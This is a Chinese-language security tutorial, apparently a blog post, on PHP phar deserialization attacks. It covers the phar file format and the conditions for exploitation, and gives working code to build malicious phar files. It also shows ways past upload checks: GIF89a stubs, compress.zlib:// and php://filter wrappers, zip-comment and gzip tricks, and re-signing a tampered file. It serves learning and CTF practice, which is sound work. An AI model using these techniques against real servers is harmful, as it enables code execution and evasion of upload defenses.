phar反序列化
序列化和反序列化的区别?
可参考:【精选】什么是反序列化?反序列化的过程,原理-CSDN博客
通俗的说序列化将对象转化为了字符串,包含了对象的所有数据信息,
反序列化时再根据这些信息还原对象
序列化:就是将对象转化成字节序列的过程。
反序列化:就是讲字节序列转化成对象的过程。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
那么为什么要去进行序列化呢?
有以下两个原因
- 持久化:对象是存储在JVM中的堆区的,但是如果JVM停止运行了,对象也不存在了。序列化可以将对象转化成字节序列,可以写进硬盘文件中实现持久化。在新开启的JVM中可以读取字节序列进行反序列化成对象。
- 网络传输:网络直接传输数据,但是无法直接传输对象,可在传输前序列化,传输完成后反序列化成对象。所以所有可在网络上传输的对象都必须是可序列化的。
什么是phar?
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。
.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法
可以将phar文件类比为一个压缩文件
借用kali_Ma_笔记,渗透测试,安全-CSDN博客的解释就是
php序列化和反序列化过程
执行结果:
反序列化结果:
php的序列化将对象转化为了字符串,包含了对象的所有数据信息,
反序列化时再根据这些信息还原对象
phar文件格式:
1.stub //phar文件头
2.manifest //压缩文件信息
3.contents //压缩文件内容
4.signature //签名
stub:
Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下
xxx<?php xxx; __HALT_COMPILER();?>
前面的内容是不限制的,可以是任意字符,包括留空
php闭合符与最后一个分号之间不能有多于一个的空格符。另外php闭合符也可省略
但在该PHP语句中,必须有 __HALT_COMPILER()
,没有这个,PHP就无法识别出它是Phar文件
manifest:
用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的 Meta-data
contents:
用于存放Phar文件的内容
signature:
位于文件末尾
签证尾部的01
代表md5加密,02
代表sha1加密,04
代表sha256加密,08
代表sha512加密
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
PHP反序列化:
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data
,PHP使用phar_parse_metadata
在解析meta数据时,会调用php_var_unserialize
进行反序列化操作
利用条件:
1、phar文件能够上传至服务器
//即要求存在file_get_contents()、fopen()这种函数2、要有可利用的魔术方法
//利用魔术方法作为"跳板"3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化4、php.ini中的phar.readonly选项,需要为Off(默认是on)。
Phar属于伪协议,伪协议使用较多的是一些文件操作函数,如fopen()
、copy()
、file_exists()
等,具体如下图,也就是下面的函数如果参数可控可以造成Phar反序列化
phar的生成
需要去检查一下php.ini中的phar.readonly选项,如果是On,需要修改为Off。
还需要下列代码生成
<?php
class test{
public $name="qwq";
function __destruct()
{
echo $this->name;
}
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
绕过方式:
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://
和compress.zlib://
等绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
也可以利用其它协议
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
如:
更改文件格式
我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器,而如果服务端存在防护,比如这种
$_FILES["file"]["type"]=="image/gif"
要求文件格式只能为gif
,这个时候我们该怎么办呢?
因为PHP识别Phar文件的方式是通过Stub
里的__HALT_COMPILER();
来识别这个文件是Phar文件,对于其他是无限制的,也就意味着我们即使对文件后缀和文件名进行更改,其实质仍然是Phar文件。
示例代码
<?php
class Test {
public $name;
function __construct(){
echo "I am".$this->name.".";
}
}
$obj = new Test();
$obj -> name = "quan9i";
$phar = new Phar('test.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($obj); //将自定义meta-data存入manifest
$phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
绕过__HALT_COMPILER();
检测
PHP通过__HALT_COMPILER
来识别Phar文件,那么出于安全考虑,即为了防止Phar反序列化的出现,可能就会对这个进行过滤
示例代码如下
if (preg_match("/HALT_COMPILER/i",$Phar){
die();
}
这里的话绕过思路有两个
1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();
?>
2、将生成的Phar文件进行gzip压缩,压缩命令如下
gzip test.phar
压缩后同样也可以进行反序列化
相关链接见:
https://www.cnblogs.com/CoLo/p/16786627.html#:~:text=Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20Phar%E4%B9%8B%E6%89%80%E4%BB%A5%E8%83%BD%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%8C%E6%98%AF%E5%9B%A0%E4%B8%BAPhar%E6%96%87%E4%BB%B6%E4%BC%9A%E4%BB%A5%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E5%BD%A2%E5%BC%8F%E5%AD%98%E5%82%A8%E7%94%A8%E6%88%B7%E8%87%AA%E5%AE%9A%E4%B9%89%E7%9A%84%20meta-data%2CPHP%E4%BD%BF%E7%94%A8,phar_parse_metadata%20%E5%9C%A8%E8%A7%A3%E6%9E%90meta%E6%95%B0%E6%8D%AE%E6%97%B6%EF%BC%8C%E4%BC%9A%E8%B0%83%E7%94%A8%20php_var_unserialize%20%E8%BF%9B%E8%A1%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%93%8D%E4%BD%9C%E3%80%82
phar反序列化+两道CTF例题_ctf phar反序列化_Z3eyOnd的博客-CSDN博客
https://www.cnblogs.com/CoLo/p/16786627.html#:~:text=Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20Phar%E4%B9%8B%E6%89%80%E4%BB%A5%E8%83%BD%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%8C%E6%98%AF%E5%9B%A0%E4%B8%BAPhar%E6%96%87%E4%BB%B6%E4%BC%9A%E4%BB%A5%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E5%BD%A2%E5%BC%8F%E5%AD%98%E5%82%A8%E7%94%A8%E6%88%B7%E8%87%AA%E5%AE%9A%E4%B9%89%E7%9A%84%20meta-data%2CPHP%E4%BD%BF%E7%94%A8,phar_parse_metadata%20%E5%9C%A8%E8%A7%A3%E6%9E%90meta%E6%95%B0%E6%8D%AE%E6%97%B6%EF%BC%8C%E4%BC%9A%E8%B0%83%E7%94%A8%20php_var_unserialize%20%E8%BF%9B%E8%A1%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%93%8D%E4%BD%9C%E3%80%82
PHP Phar反序列化浅学习 - 跳跳糖